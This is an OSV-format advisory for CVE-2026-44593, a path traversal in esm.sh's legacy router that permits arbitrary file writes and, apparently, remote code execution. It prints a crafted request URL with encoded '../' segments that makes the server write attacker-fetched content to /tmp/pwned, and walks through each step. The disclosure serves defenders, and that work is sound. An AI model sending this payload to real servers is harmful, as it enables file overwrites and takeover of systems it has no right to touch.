CVE-2026-44593: Github.com/esm dev/esm.sh Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3636-h3vx-6465",
  "modified" : "2026-06-09T01:59:36Z",
  "published" : "2026-05-12T22:22:39Z",
  "aliases" : [ "CVE-2026-44593" ],
  "summary" : "esm.sh: Legacy Route Path Traversal Can Lead to RCE",
  "details" : "### Impact\n- Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.\n- Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.\n\n### Exploit\n\nThe legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put`  \n(see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).\n\nFor a URL such as:\n\n```\nhttp://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n```\n\nthe router concatenates the path components without sanitizing them, producing a storage key like:\n\n```\nlegacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n```\n\nWhen this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.\n\n\n### Details\n\n1. **URL Construction**  \n   A crafted request is sent to the server:\n   ```\n   http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n   ```\n\n2. **Proxy to Legacy Server**  \n   The request is forwarded to:\n   ```\n   http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned\n   ```\n   which resolves to:\n   ```\n   http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md\n   ```\n\n3. **File Retrieval**  \n   The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`.\n\n4. **Path Normalisation & Storage**  \n   The storage path derived from the request is:\n   ```\n   legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n   ```\n   Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location.\n\n5. **Result**  \n   By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.\n\n\n### Credit Discovery To\nsplitline (@\\_splitline\\_) from DEVCORE Research Team",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/esm-dev/esm.sh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260508100112-1960055e1d53"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44593"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/esm-dev/esm.sh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/releases/tag/v137_3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-12T22:22:39Z",
    "nvd_published_at" : "2026-05-28T16:16:24Z"
  }
}